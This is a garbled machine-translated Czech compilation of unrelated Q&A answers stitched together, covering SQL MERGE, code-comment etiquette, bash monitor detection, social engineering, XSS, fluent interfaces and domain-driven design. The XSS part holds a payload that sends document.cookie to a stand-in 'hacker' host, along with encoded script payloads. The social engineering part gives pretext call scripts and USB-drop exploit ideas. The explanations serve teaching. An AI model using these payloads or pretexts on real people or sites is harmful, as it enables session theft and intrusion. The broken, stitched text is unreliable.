ztěžují vidět, že tomu tak je.</p><p> <a href="http://technet.microsoft.com/en-us/library/bb510625%28v=sql.105%29.aspx">navádění v books online</a> (rozšířeno v položce <a href="http://technet.microsoft.com/en-us/library/cc879317%28v=sql.105%29.aspx">optimizing performance</a> ) nabízí navádění, které zajistí, že správná sémantika je vyjádřena pomocí syntaxe <code>merge</code>, aniž by uživatel nutně musel muset pochopit všechny podrobnosti implementace nebo zohlednit způsoby, kterými by optimalizátor mohl legitimně přeskupit věci z důvodů efektivnosti provádění.</p><p>dokumentace nabízí tři možné způsoby implementace časného filtrování:</p><p><strong> zadání podmínky filtrování v klauzuli <code>when</code> </strong> zaručuje správné výsledky, ale může znamenat, že více řádků je čteno a zpracováno ze zdroje a cíle tabulky, než je nezbytně nutné (viz první příklad).</p><p><strong> aktualizace prostřednictvím zobrazení </strong>, která obsahuje podmínku filtrování, také zaručuje správné výsledky (protože změněné řádky musí být přístupné pro aktualizaci prostřednictvím zobrazení), ale vyžaduje to vyhrazené zobrazení, které splňuje liché podmínky pro aktualizaci zobrazení.</p><p><strong> použití společného výrazu tabulky </strong> přináší podobné riziko při přidávání predikátů k klauzuli <code>on</code>, ale z poněkud odlišných důvodů. v mnoha případech to bude bezpečné, ale vyžaduje to odbornou analýzu prováděcího plánu, aby se to potvrdilo (a rozsáhlé praktické testování). například:</p><pre><code>with target as ( select * from @categoryitem where categoryid = 2 ) merge into target using ( select categoryid, itemid from @datasource where categoryid = 2 ) as source on source.itemid = target.itemid and source.categoryid = target.categoryid when not matched by target then insert (categoryid, itemid) values (categoryid, itemid) when not matched by source then delete output $action, isnull(inserted.categoryid, deleted.categoryid) as categoryid, isnull(inserted.itemid, deleted.itemid) as itemid ; </code></pre><p>výsledkem jsou správné výsledky (neopakované) s optimálnějším plánem:</p><p><img src="https://i.stack.imgur.com/tazmk.jpg" alt="merge plan 2"></p><p>plán čte pouze řádky pro kategorii 2 z cílové tabulky. to může být důležitým hlediskem výkonu, pokud je cílová tabulka velká, ale je příliš snadné tuto chybu získat pomocí syntaxe <code>merge</code>.</p><p>někdy je snazší zapsat <code>merge</code> jako samostatné operace dml. tento přístup může dokonce <strong> vést lépe </strong> než jediný <code>merge</code>, což je skutečnost, která lidi často překvapuje.</p><pre><code>delete ci from @categoryitem as ci where ci.categoryid = 2 and not exists ( select 1 from @datasource as ds where ds.itemid = ci.itemid and ds.categoryid = ci.categoryid ); insert @categoryitem select ds.categoryid, ds.itemid from @datasource as ds where ds.categoryid = 2; </code></pre> <p><strong>mělo by se to jemně odrazovat</strong></p><p>.. nemůžete vědět, kdo uvidí zdrojový kód po celou dobu jeho životnosti.</p><p>přestože je celá část práce frustrována obzvláště složitým nebo starým kusem kódu a chce o tom znít, vkládání do zdrojového kódu neúplné/pronikavé/umění ascii/špatné vtipy/útočné poznámky je neprofesionální a špatný nápad v mé zkušenosti. někdy inženýr, který píše komentáře, nevnímá případných účinků, které by jeho komentáře mohly mít - zde jsou jen některé z problémů, které vidím:</p><ul> <li>vysoký počet expletivů v kódu vydaném veřejnosti jako open-source/vzorový kód.</li> <li>vtipy ve špatném vkusu způsobují hluboký útok na některé členy týmu, což vede k průmyslovému tribunálu.</li> <li>zahodit poznámky, které byly ve skutečnosti rasistické/sexistické/gender-ist způsobující lidi být vyhozen.</li> </ul><p>i když my všichni potřebujeme nějaké odbytiště pro frustraci/zábavu/japonsko, zdrojový kód není místo, kde by se to dalo udělat, imo. do smlouvy, stránek nápovědy, plánů nebo jiných odborných dokumentů byste nevkládali přílišné/vtipné/urážlivé komentáře, i když tyto dokumenty lze číst ještě méně často než zdrojový kód.</p><p>pokud se vedoucí týmů o tom dostanou těžce, bude to naštvané, takže řeknu „jemně odradit“ pomocí tichého wordu s problémovými inženýry a poskytl vhodné ventilační mechanismy, aby mohl steam, ať už je to facebook, okamžité zasílání zpráv , vzduchový hokej nebo punč.</p><p>není žádnou obranou tvrdit, že se kompilují komentáře - co javascript, nebo jakýkoli jiný dynamický kód na straně klienta?</p><p>zde jsou některé zkušenosti ze skutečného světa, které jsem měl, které utvářely můj názor:</p><ul> <li> <p>když jsem pracoval v microsoftu, všiml jsem si, že jeden softwarový inženýr neznal správné hláskování slova „nemohl“ - zmeškal o, la ad - a většinu svého kódu pepřil dlouhými vysvětlením, jak <em>could't</em> dostat x do práce, protože y osoba způsobovala problém z. jeho kód byl skvělý; jeho pravopis nebyl tak dobrý. stačí říci, že jakýkoli následný recenzent tohoto kódu (např. já) byl znepokojen, když v kódu viděl velký počet náhodných přísahů. část tohoto kódu se dále zobrazovala partnerům (spisovatelům ovladačů). představte si jejich hrůzu, když viděli přísahy. výpůjčky by v ideálním případě měly být vedoucím projektu v ústní formě (v tomto případě může být osoba y zapojena do diskuse) nebo možná odevzdat zprávy, ale ne ve zdroji.</p> </li> <li> <p>v jedné společnosti se jednotlivec mluvící v cizím jazyce připojil k převážně anglicky mluvícímu týmu. napsal komentáře ve svém jazyce a myslel si, že nikdo jiný je nedokáže přečíst. to bylo v pořádku, dokud babelfish/google translate neuvedl pro svůj jazyk možnost „do angličtiny“, kdy zbytek týmu přeložil několik komentářů a byl zděšen špinavými a často hanlivými komentáři, které chlap o společnosti dělal. , jeho tým a spolupracovnice. <em> neviditelný</em>.</p> </li> <li> <p>v jiné společnosti byl jeden chlápek skutečně zaujat uměleckým dílem ascii art) a do jeho zdrojového kódu vložil nejrůznější druhy umění, nezkrotil (nebo snad požehnal) recenzenty kódu. po chvíli se drbal na draky "z nějakého důvodu, obvykle s nějakým druhem značky. později se k týmu připojil velšský člověk. státní znak walesu je červený drak, takže nový chlap zpočátku na obrázky veselil, ale pak urazil, když někteří z hloupé značky se daly vykládat jako urážlivé. ano, vyžadovalo se nějaké zprostředkování vedoucího týmu, ale to se nemělo stát.</p> </li> </ul><hr><p><em> jména/specifika odstraněna pro ochranu nevinných.</em></p> <p><strong> poznámka: </strong> <em>toto bylo testováno na notebooku s grafickou kartou řízenou i915.</em></p><hr><h3>pozadí</h3><p><strong> poznámka: </strong> když je připojena nová obrazovka, do hostitele není odeslána žádná událost, zůstane to pravda i po mé poslední úpravě. jediným způsobem je tedy použít dotazování. snažím se, aby byly co nejefektivnější ...</p><h3>úprava # 3</h3><p>nakonec existuje jedno lepší řešení (prostřednictvím acpi):</p><p>stále neexistuje žádná událost, ale acpi se zdá být efektivnější než <code>xrandr</code> na dotaz. (poznámka: toto <strong> vyžaduje </strong> načtené moduly jádra acpi, ale nevyžaduje oprávnění root.</p><p>moje konečné řešení (pomocí bash):</p><pre><code>isvgaconnected() { local crtstate read -a &lt; /proc/acpi/video/vid/crt0/state crtstate test $(( ( ${crtstate[1]} &gt;&gt;4 ) ${1:+*-1+1} )) -ne 0 } </code></pre><p>nyní test:</p><pre><code>$ if isvgaconnected; then echo yes; else echo no; fi yes </code></pre><p>je zapojen, takže ho nyní odpojím:</p><pre><code>$ if isvgaconnected; then echo yes; else echo no; fi no </code></pre><p><strong> poznámka: </strong> <code>${1:+*-1+1}</code> povolit argument <em>boolean</em>: pokud <em>něco je přítomno</em>, odpověď by byla obrácena: <code>( crtstate &gt;&gt; 4 ) * -1 + 1</code>.</p><p>a závěrečný skript:</p><pre><code>#!/bin/bash export crtprocentry=/proc/acpi/video/vid/crt0/state isvgaconnected() { local crtstate read -a &lt; $crtprocentry crtstate test $(( ( ${crtstate[1]} &gt;&gt;4 ) ${1:+*-1+1} )) -ne 0 } delay=.1 unset switch isvgaconnected || switch=not while :;do while isvgaconnected $switch;do sleep $delay done if [ "$switch" ];then unset switch echo vga is connected # doing something while vga is connected else switch=not echo vga is not connected. # doing something else, maybe. fi done </code></pre><p><strong> upozornění: </strong> <em>lehčí než <code>xrandr</code>, ale ne nevýznamné</em> se zpožděním menším než <em>,02</em> sekund, bash skript půjde na začátek procesu jedlíci zdrojů (<code>top</code>)!</p><p>i když to stojí ~ 0,001 s:</p><pre><code>$ time read -a &lt;/proc/stat crtstat </code></pre><p>vyžaduje to ~ 0,030 s:</p><pre><code>$ read -a &lt; /proc/acpi/video/vid/crt0/state crtstate </code></pre><p>to je velké! takže v závislosti na tom, co potřebujete, lze <code>delay</code> rozumně nastavit mezi <code>0.5</code> a <code>2</code>.</p><h3>úprava # 2</h3><p>nakonec jsem něco našel:</p><p><strong> důležité vyloučení odpovědnosti: </strong> hraní s <code>/proc</code> a <code>/sys</code> záznamy mohou poškodit váš systém !!! takže na produkčních systémech nezkoušejte následující.</p><pre><code>mapfile watchfilelist &lt; &lt;( find /sys /proc -type f 2&gt;/dev/null | grep -i acpi\\\|i91 ) prompt=("/" "|" '\' '-'); l=0 while :; do mapfile watchstat &lt; &lt;( grep -h . ${watchfilelist[@]} 2&gt;/dev/null ) for ((i=0;i&lt;=${#watchstat[@]};i++)); do [ "${watchstat[i]}" == "${oldstat[i]}" ] || echo ${watchstat[i]} done oldstat=("${watchstat[@]}") sleep .5 printf "\r%s\r" ${prompt[l++]} [ $l -eq 4 ]&amp;&amp;l=0 done </code></pre><p>... po očištění nežádoucích záznamů:</p><pre><code>for ((i=0;i&lt;=${#watchfilelist[@]};i++)); do [[ "${watchfilelist[$i]}" =~ /sys/firmware/acpi/interrupts/sci ]] &amp;&amp; unset watchfilelist[$i] &amp;&amp; echo $i done </code></pre><p>to jsem dokázal přečíst:</p><pre><code>/proc/acpi/video/vid/crt0/state:state: 0x1d /proc/acpi/video/vid/crt0/state:state: 0x0d /proc/acpi/video/vid/crt0/state:state: 0x1d </code></pre><p>když připojím, odpojte a znovu zapojte kabel monitoru.</p><p>při dotazu na konfiguraci (spuštění <code>system/preferences/monitor</code> nebo <code>xrandr</code>), grafické karty udělají typ <em>scan</em>, takže běží <code>xrandr -q</code> vám dá informace, ale musíte zjistit stav.</p><p>prohledal jsem všechny protokoly (jádro, démona, x atd.) prohledávajícím <code>/proc</code> &amp; <code>/sys</code> a zjevně se zdá, že neexistuje nic, co by vyhovovalo vaší žádosti.</p><p>zkusil jsem to také:</p><pre><code>export spc50="$(printf "%50s" "")" watch -n1 ' find /proc/acpi/video -type f | xargs grep -h . | sed "s/^\([^:]*):/\1'$spc50'}:/; s/^\(.\{50\}\) *:/\1 /"' </code></pre><p>po tom všem, když spustíte <code>system/preferences/monitor</code> zatímco nebyla připojena žádná nová obrazovka ani odpojena, bude se nástroj zobrazovat jednoduše (normálně). ale pokud jste již dříve připojili nebo odpojili obrazovku, občas spustíte tento nástroj a uvidíte, že na ploše vytvoříte typ <em>reset</em> ​​nebo <em>obnovit</em> ​​(stejný pokud spustíte <code>xrandr</code>).</p><p>zdá se, že to potvrzuje, že tento nástroj požádá o <code>xrandr</code> (nebo pracuje stejným způsobem) pravidelným dotazováním na stav, počínaje okamžikem jeho spuštění.</p><p>můžete vyzkoušet sami:</p><pre><code>$ for ((i=10;i--;)); do xrandr -q | grep ' connected' | wc -l; sleep 1; done 1 1 1 2 2 2 1 1 1 1 </code></pre><p>tím se na 10 sekund zobrazí počet připojených obrazovek (displejů).</p><p>zatímco to běží, připojte a/nebo odpojte obrazovku/monitor a podívejte se, co se děje. takže byste mohli vytvořit malou testovací funkci bash:</p><pre><code>isvgaconnected() { local xrandr=$(xrandr -q) [ "$xrandr" == "${xrandr#*vga1 con}" ] || return 0 return 1 } </code></pre><p>který by byl použitelný jako v:</p><pre><code>$ if isvgaconnected; then echo yes; fi </code></pre><p>ale buďte opatrní, <code>xrandr</code> trvá asi <strong> 0,140 s do 0.200 s </strong>, zatímco na zástrčkách nedojde k žádné změně a do <strong> 0,770 sekund </strong> kdykoli něco bylo připojeno nebo odpojeno těsně před (<strong> poznámka: </strong> zdá se, že to není zdrojový zdroj).</p><h3>úprava # 1</h3><p>abych zajistil, že neučím něco nesprávného, ​​prohledával jsem web a dokumenty, ale nenašel jsem nic o <em>dbus and screens</em>.</p><p>nakonec jsem běžel ve dvou různých oknech <code>dbus-monitor --system</code> (hrál jsem také s možnostmi) a malý skript, který jsem napsal:</p><pre><code>$ for ((i=1000;i--;)); do isvgaconnected &amp;&amp; echo yes || echo no; sleep .5; done </code></pre><p>... a znovu zapojen, než odpojen monitor, mnohokrát. takže teď mohu říci:</p><ul> <li><em>v této konfiguraci <strong> pomocí ovladače i915 </strong> neexistuje jiný způsob, než spustit <code>xrandr -q</code> vědět, zda je monitor připojen nebo ne.</em></li> </ul><p>ale buďte opatrní, protože se nejeví jiné způsoby. například se zdá, že <code>xrandr</code> tyto informace sdílí, takže moje plocha gnome by se automaticky přepnula na <code>xinerama</code> automaticky ... <strong>, když jsem běžel <code>xrandr</code> </strong>.</p><h3>některé dokumenty</h3><ul> <li> <a href="https://wiki.archlinux.org/index.php/xrandr#toggle\_external\_monitor">skript pro přepínání interního/externího displeje pro notebooky</a> </li> <li> <a href="http://www.x.org/docs/intel/hd/ihd\_os\_vol\_3\_part4\_bjs.pdf">®intel hd graphics opensource programmer's reference manual</a> </li> </ul> <p>rozhodně žijete ve smyslu falešné bezpečnosti! sociální inženýrství je dnes stále velmi rozšířené a pochybuji, že se to v průběhu desítek let změní, pokud vůbec.</p><p>zde je několik stručných vysvětlení, proč funguje sociální inženýrství. je těžké pokrýt vše, protože sociální inženýrství je opravdu široké pole.</p><p>některé důvody, proč funguje sociální inženýrství (z knihy citované dole):</p><ul> <li>většina lidí si přeje být zdvořilý, zejména k cizincům</li> <li>profesionálové chtějí vypadat dobře informovaní a inteligentní</li> <li>pokud jste chváleni, budete často mluvit více a prozradit více</li> <li>většina lidí by nelhala kvůli lhaní</li> <li>většina lidí laskavě reaguje na lidi, kteří se zdají být znepokojeni</li> </ul><p><strong> být užitečný </strong></p><p>lidé si obvykle chtějí navzájem pomáhat. rád děláme hezké věci!</p><ul> <li> <p>narazil jsem na recepci ve velké firemní kanceláři s papíry namočenými v kávě. mluvím s recepční a vysvětlím, že mám schůzku na pracovní pohovor za 5 minut, ale právě jsem rozlil kávu na všechny své papíry. pak se zeptám, jestli by recepční mohl být tak sladký, a vytisknout je znovu pro mě s touto usb pamětí, kterou mám.</p> <p>mohlo by to vést ke skutečné infekci pc recepční a mohlo by mi to získat oporu v síti.</p> </li> </ul><p><strong> používání strachu </strong></p><p>strach z neúspěchu nebo nedělání podle pokynů:</p><ul> <li> <p>facebooková stránka ředitele společnosti (john smith) (nebo jakýkoli jiný zdroj informací) ukazuje, že právě odjel na plavbu po dobu 3 týdnů. zavolám sekretářce a velícím hlasem říkám: „ahoj, volá chris. právě jsem opustil telefon s johnem smithem, má velmi dobrý čas na své plavbě se svou ženou carlou a dětmi. nicméně jsme v uprostřed integrace velmi důležitého obchodního systému, a řekl mi, abych vám zavolal, abyste nám mohli pomoci. nemohl volat sám sebe, protože jde o safari, ale to je opravdu naléhavé. vše, co musíte udělat, je vzít usb flash disk, který mu je zaslán v poště a zapojen, spusťte počítač a my jsme hotovi. projekt přežije!</p> <p>děkuji mnohokrát! byla jste skvělá pomoc! jsem si jistý, že vás john smith uzná za tento čin vstřícnosti. "</p> </li> </ul><p><strong> <a href="http://en.wikipedia.org/wiki/norm\_of\_reciprocity">hra na reciproci</a> </strong></p><ul> <li> <p>dveře zavazadlového prostoru. zadržuji pro vás vstupní dveře a rychle za tebou chodím. když otevřete další dveře, což je zabezpečené zabezpečení, zamířím stejným směrem a většina lidí se pokusí splácet užitečnou akci tím, že pro vás dveře opět podrží, čímž se dostanete na místo, kde byste neměli být. bojíte se, že vás chytí? ne. jen říkáš, že je ti líto a že jsi šel špatně.</p> <p>cíl by se téměř cítil povinen držet dveře za vás!</p> </li> </ul><p><strong> využití zvědavosti </strong></p><ul> <li> <p>zkuste hodit 10 usb flash disků na různá místa ve vaší organizaci. nemusíte je umisťovat na příliš zjevná místa. usb by mělo mít automaticky spuštěný domácí program telefonu, abyste viděli, kdy někdo připojí usb flash disk a měl by být teoreticky využit.</p> <p>další verzí tohoto je vyhodit usb flash disky s jediným dokumentem pdf, který se nazývá např. „john smith - norway.pdf“. dokument pdf obsahuje exploat adobe acrobat reader (existuje spousta a poté, co uživatel klikne na dokument, který bude vlastnit. samozřejmě jste se ujistili, že je zneužití přizpůsobeno konkrétní verzi adobe cílové organizace. bude pro většinu lidí přirozené otevřít dokument, aby mohli zkuste usb disk vrátit jeho vlastníkovi.</p> <ul> <li>dalším příkladem zvědavosti (možná jiný termín to vysvětluje lépe) jsou všechny tyto spam maily nebo špatné internetové reklamy, že jste něco vyhráli nebo nigerijský princ vám nabízí spoustu peněz, pokud mu můžete pomoci. jsem si jist, že jste s nimi již obeznámeni, ale jedná se také o útoky na sociální inženýrství a důvod, proč se nezastavili, je, že stále fungují!</li> </ul> </li> </ul><p>to je jen několik příkladů. samozřejmě existuje spousta tun!</p><p>můžeme se také podívat na historické události sociálního inženýrství:</p><p><strong> hbgary </strong></p><p>celý příběh si můžete přečíst <a href="http://arstechnica.com/tech-policy/news/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack.ars/">zde</a> (strana 3 obsahuje část sociálního inženýrství)</p><ul> <li> <p>v loňském roce byl hbgary hacknut. tento útok zahrnoval mnoho různých kroků, ale také aspekt sociálního inženýrství. hacker v krátkosti vyprávěl e-mailový účet společnosti vip) ve společnosti a poslal e-mail administrátorovi cílového systému, který řekl něco podobného: „ahoj johne, v současné době jsem v evropě a poskakuji mezi letišti. můžete mi otevřít ssh na vysoce číslovaném portu pocházejícím z jakékoli ip? potřebuji udělat nějakou práci. “když administrátor dostane tento e-mail, cítí, že je přirozené vyhovět tomuto, když e-mail pochází z důvěryhodného zdroje.</p> <p>ale to není ono! útočník měl heslo k účtu, ale přihlášení nefungovalo! takže pošle e-mailem zpět administrátorovi: „hej znovu, zdá se, že to nefunguje. heslo je stále správné? jaké bylo uživatelské jméno znovu?“. nyní také poskytl skutečné heslo pro systém (útočník to měl z dřívějšího kompromisu jiného systému ve stejném hacku), což útočníkovi poskytlo mnohem větší důvěru správce. správce samozřejmě souhlasí a sdělí útočníkovi své uživatelské jméno.</p> </li> </ul><p>seznam nahoře pochází z knihy " <a href="http://rads.stackoverflow.com/amzn/click/0470639539">sociální inženýrství: umění lidského hackování</a> " a mohu ho velmi doporučit!</p> <p><strong> xss - skriptování napříč stránkami (ale neomezeno na skutečné skriptování napříč stránkami) </strong></p><p>xss se obvykle prezentuje třemi různými způsoby:</p><p><strong> netrvalé (často nazývané odrážené xss) </strong></p><p>to je, když jste schopni vložit kód a server jej vrátí zpět, neanitizovaný. to lze často využít distribucí (obvykle nevinně vypadající) url v nějaké formě nebo způsobem, na který mohou ostatní kliknout.</p><p>to může být zvláště efektivní, když se zabýváte cílenými útoky na někoho. dokud můžete někoho přimět kliknout na adresu url, kterou jste odeslali, existuje šance, že v systému získáte zvýšená oprávnění.</p><p>příklad:</p><p>web obsahující vyhledávací pole nemá řádný dezinfekční vstup. vytvořením vyhledávacího dotazu vypadajícího takto:</p><pre><code>"&gt;&lt;script&gt;var+img=new+image();img.src="http://hacker/"%20+%20document.cookie;&lt;/script&gt; </code></pre><p>na druhém konci, na webovém serveru, budete přijímat hity, kde po dvojnásobku mezery je soubor cookie uživatelů. pokud správce klikne na odkaz, můžete mít štěstí, abyste mohli ukrást jejich id relace a hijack relaci.</p><p>použitím technik, jako je spamový e-mail, příspěvky do nástěnky, zprávy im, nástroje sociálního inženýrství, může být tato chyba zabezpečení velmi nebezpečná.</p><p><strong> založené na dom </strong></p><p>velmi podobné netrvalému, ale v případě, že se užitečné zatížení javascriptu nemusí opakovat z webového serveru. často se může jednat o to, že při načítání pomocí již existujícího javascriptu se na stránku za běhu opakuje jednoduše hodnota z parametru url.</p><p>příklad:</p><pre><code>http://victim/displayhelp.php?title=faq#&lt;script&gt;alert(document.cookie)&lt;/script&gt; </code></pre><p>zločinci samozřejmě upraví url tak, aby vypadala nevinněji. stejné užitečné zatížení jako výše jen kódováno jinak:</p><pre><code>http://victim/displayhelp.php?title=faq#&amp;#60&amp;#115&amp;#99&amp;#114&amp;#105 #112&amp;#116&amp;#62&amp;#97&amp;#108&amp;#101&amp;#114&amp;#116&amp;#40&amp;#100&amp;#111&amp;#99&amp;#117&amp;#109 &amp;#101&amp;#110&amp;#116&amp;#46&amp;#99&amp;#111&amp;#111&amp;#107&amp;#105&amp;#101&amp;#41&amp;#60&amp;#47&amp;#115&amp;#99 &amp;#114&amp;#105&amp;#112&amp;#116&amp;#62 </code></pre><p>můžete dokonce maskovat lépe, když odesíláte e-mailovým klientům, kteří podporují html, jako je tento:</p><pre><code>&lt;a href="http://victim/displayhelp.php?title=faq#&lt;script&gt;alert(document.cookie) &lt;/script&gt;"&gt;http://victim/displayhelp.php?title=faq&lt;/a&gt; </code></pre><p><strong> perzistentní </strong></p><p>jakmile dokážete vydržet vektor xss, útok se stane mnohem nebezpečnějším velmi rychle. přetrvávající xss se odráží zpět ze serveru, obvykle proto, že byl xss uložen v databázovém poli nebo podobně. zvažte, zda je následující vstup uložen do databáze a poté vám je ve vašem profilu představí:</p><pre><code>&lt;input type="text" value="your name" /&gt; </code></pre><p>pokud jste schopni zajistit, aby aplikace přijímala a ukládala neanitizované vstupy, vše, co musíte udělat, je přimět ostatní uživatele, aby si prohlédli váš profil (nebo kde se xss odráží zpět).</p><p>tyto druhy xss mohou být nejen obtížně rozpoznatelné, ale velmi zničující pro systém. stačí se podívat na červ xss s názvem <a href="http://en.wikipedia.org/wiki/samy\_worm">samy worm</a> !</p><p>v počátečních dnech xss jste viděli tento druh zneužití ve všech návštěvních knihách, komunitách, uživatelských recenzích, chatovacích místnostech atd.</p><hr><p><strong> dva útočné vektory </strong></p><p>nyní, když znáte různé způsoby poskytování užitečného zatížení xss, rád bych zmínil několik útočných vektorů xss, které mohou být velmi nebezpečné:</p><ul> <li> <p>xss defacement</p> <p>defacence xss není obtížné dosáhnout. pokud je xss také perzistentní, může být pro sysadminy obtížné to zjistit. podívejte se na rsnake <a href="http://drwetter.eu/amazon/">stallowned</a> "útok", který odstranil amazonovu funkci náhledu knihy. docela vtipné čtení.</p> </li> <li> <p>cookie krást a únos relace</p> <p>stejně jako v jednom z výše uvedených příkladů, jakmile získáte přístup k souborům cookie uživatelů, můžete také získat citlivé informace. zachycení id relace může vést k únosu relace, což může zase vést ke zvýšeným oprávněním v systému.</p> </li> </ul><p>omlouváme se za dlouhý příspěvek. teď se zastavím. jak ale můžete vidět, xss je velmi velké téma. doufám, že jsem vám to trochu objasnil.</p><hr><p><strong> využití xss pomocí beef </strong></p><p>chcete-li snadno zjistit, jak lze xss využít, doporučuji vyzkoušet <a href="http://beefproject.com/">beef</a> , browser exploitation framework. jakmile je rozbalen a spuštěn na webovém serveru s podporou php=), můžete snadno zkusit simulaci oběti (tzv. zombie), kde si můžete velmi snadno vyzkoušet různá užitečná zatížení xss. :</p><ul> <li>lokální síť portscan</li> <li>pingsweep místní síť</li> <li>pošlete virus infikovaný applet, podepsaný a připraven</li> <li>odesílejte zprávy klientovi</li> <li>proveďte skype hovor</li> </ul><p>seznam pokračuje. doporučujeme vidět video na domovské stránce beef.</p><p><strong> update: </strong> udělal jsem <a href="http://www.securesolutions.no/xss-explained/">zápis na xss</a> na svém blogu, který popisuje xss. obsahuje trochu o historii xss, různých typech útoků a některých případech použití včetně beef a shank.</p> <p>psaní plynulého rozhraní (s ním jsem <a href="http://www.google.ca/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0cbuqfjaa&amp;url=http%3a%2f%2fsoapboxautomation.com%2fproducts%2ffluentdwelling%2f&amp;ei=ao6ttcuck8sdgqesvpsqda&amp;usg=afqjcngcf99lzbzlrfvnrtst7qsww3kxwg">dabbled</a> ) vyžaduje více úsilí, ale má to výplaty, protože pokud to uděláte správně, je výsledný uživatelský kód jasnější. je to v zásadě forma specifického jazykového jazyka.</p><p>jinými slovy, pokud je váš kód načten mnohem více, než je napsán (a jaký kód není?), měli byste zvážit vytvoření plynulého rozhraní.</p><p>plynulá rozhraní jsou více o kontextu a jsou mnohem víc než jen způsoby konfigurace objektů. jak vidíte ve výše uvedeném odkazu, k dosažení:</p><ol> <li>kontext (takže když obvykle provádíte mnoho akcí ve stejném pořadí, můžete je zřetězit, aniž byste museli znovu a znovu prohlašovat svůj kontext).</li> <li>viditelnost (když jdete na <code>objecta.</code> pak vám inteligence dává spoustu rad. v mém případě výše, <code>plm.led.</code> vám poskytuje všechny možnosti pro ovládání vestavěné led a <code>plm.network.</code> vám poskytuje věci, které můžete dělat se síťovým rozhraním. <code>plm.network.x10.</code> vám dává podmnožinu síťových akcí pro zařízení x10. u inicializátorů konstruktoru to nedostanete (pokud si nepřejete, aby byl objekt konstruován pro každý jiný typ akce, který není idiomatický).</li> <li>reflexe (nepoužívá se ve výše uvedeném příkladu) - schopnost převzít výraz linq a manipulovat s ním je velmi výkonný nástroj, zejména v některých pomocných api, které jsem vytvořil pro testy jednotek. dokážu předat výraz getter get, sestavit spoustu užitečných výrazů, zkompilovat a spustit je, nebo dokonce použít getter k nastavení mého kontextu.</li> </ol><p>jedna věc, kterou obvykle dělám, je:</p><pre><code>test.property(t =&gt; t.someproperty) .initializedto(string.empty) .cantbenull() // tries to set to null and asserts argumentnullexception .yaddayadda(); </code></pre><p>nechápu, jak můžete něco takového udělat i bez plynulého rozhraní.</p><p><strong> edit 2 </strong>: můžete také udělat opravdu zajímavá vylepšení čitelnosti, jako například:</p><pre><code>test.listproperty(t =&gt; t.mylist) .shouldhave(18).items() .andthenafter(t =&gt; testaddingitemtolist(t)) .shouldhave(19).items(); </code></pre> <p>zdá se, že většina zmatku se týká funkcí, které by v modelu domény neměly vůbec existovat:</p><ul> <li> <p><strong>perzistence</strong> by nikdy nemělo být v modelu domény. vůbec nikdy. to je důvod, proč se spoléháte na abstraktní typy, jako je <code>irepository</code>, pokud část modelu někdy potřebuje udělat něco jako načtení jiné části modelu, a použít závislost injekce nebo nějakou podobnou techniku ​​k zapojení implementace. tak to udeřte ze záznamu.</p> </li> <li> <p><strong>autorizace</strong> není <em> obecně </em> součástí vašeho modelu domény, pokud není skutečně součástí domény, např. pokud píšete bezpečnostní software. mechanici, kterým je povoleno provádět to, co je v aplikaci, se běžně řeší v „edge“ úrovně business/domain, veřejných částí, se kterými mohou části ui a integrace skutečně hovořit - controller v mvc, services nebo samotný systém zasílání zpráv v soa ... získáte obrázek.</p> </li> <li> <p><strong>továrny</strong> (a předpokládám, že máte na mysli abstraktní továrny), nejsou zrovna <em> špatné </em>, které mají v doménovém modelu, ale jsou téměř vždy zbytečné. za normálních okolností máte továrnu pouze tehdy, když se vnitřní mechanika vytváření objektů může změnit. máte však pouze jednu implementaci doménového modelu, což znamená, že bude existovat pouze jeden druh továrny, která vždy vyvolá stejné konstruktory a další inicializační kód.</p> <p>můžete mít továrny na „pohodlí“, pokud chcete - třídy, které zapouzdřují běžné kombinace konstruktérských parametrů atd. - ale upřímně řečeno, obecně, pokud máte ve svém doménovém modelu mnoho továren, pak jen ztrácíte řádky kódu.</p> </li> </ul><p>takže jakmile všechny tyto trávníky odejdete, tak to prostě opustí ověření. to je jediný, který je tak složitý.</p><p><strong>ověření</strong> <em> je </em> součástí vašeho doménového modelu, ale je také součástí každé další komponenty aplikace. vaše uživatelské rozhraní a databáze budou mít svá vlastní, podobná, ale odlišná pravidla validace, založená na podobném, ale odlišném konceptuálním modelu. není skutečně určeno, zda objekty musejí mít metodu <code>validate</code>, ale i když ano, obvykle ji delegují do třídy validátoru (ne rozhraní - ověření je <strong>ne</strong> abstrakt v doménovém modelu je to zásadní).</p><p>mějte na paměti, že validátor je stále technicky součástí modelu; nemusí být připojen k agregovanému kořenovému adresáři, protože neobsahuje žádná data ani stav. doménové modely jsou koncepční věci, obvykle se fyzicky překládají do shromáždění nebo do sbírky sestav. pokud se váš kód delegace nachází v těsné blízkosti modelu objektu, nestresujte se nad „anemickým“ problémem; stále se to počítá.</p><p>k tomu všemu opravdu patří to, že pokud se chystáte udělat ddd, musíte pochopit, co je doména <em> </em>. pokud stále mluvíte o věcech, jako je vytrvalost a autorizace, jste na špatné cestě. doména představuje běžící stav systému - fyzické a koncepční objekty a atributy. do doménového modelu, období nepatří nic, co není přímo relevantní pro objekty a vztahy.</p><p>při zvažování, zda něco patří do doménového modelu, se zpravidla položte následující otázka:</p><p><strong>„může se tato funkčnost někdy změnit z čistě technických důvodů?“</strong> jinými slovy, nikoli kvůli jakékoli pozorovatelné změně skutečného podnikání nebo domény?</p><p>pokud je odpověď „ano“, pak nepatří do modelu domény. není součástí domény.</p><p>existuje velmi dobrá šance, že jednoho dne změníte svou infrastrukturu vytrvalosti a autorizace. nejsou proto součástí domény, jsou součástí aplikace. to platí také pro algoritmy, jako je řazení a vyhledávání; neměli byste jít a strčit implementaci binárního vyhledávacího kódu do svého modelu domény, protože vaše doména se týká pouze abstraktní koncepce vyhledávání, nikoli toho, jak to funguje.</p><p>pokud po odstranění všech věcí, na kterých vám nezáleží, zjistíte, že model domény je skutečně <em> anemický </em>, pak by to mělo sloužit jako docela dobrý náznak, že ddd je jednoduše nesprávným vzorem pro váš projekt.</p><p>některé domény jsou skutečně <em> </em> anemické. aplikace pro sociální bookmarking ve skutečnosti nemají o „doméně“ moc mluvit; všechny vaše objekty jsou v podstatě pouze data bez funkce. na druhé straně má obchodní a crm systém docela těžkou doménu; když načtete entitu <code>rate</code>, pak existuje rozumné očekávání, že ve skutečnosti <em> můžete dělat věci </em> s takovou mírou, například použít na objednané množství a nechte si zjistit objemové slevy a promo kódy a všechno zábavné.</p><p>doménové objekty, které pouze uchovávají data obvykle <em> do </em> znamenají, že máte anemický doménový model, ale to nutně <em> nemusí </em> znamená, že jste vytvořili špatný design - může to znamenat pouze to, že samotná doména je anemická a že byste měli používat jinou metodologii.</p>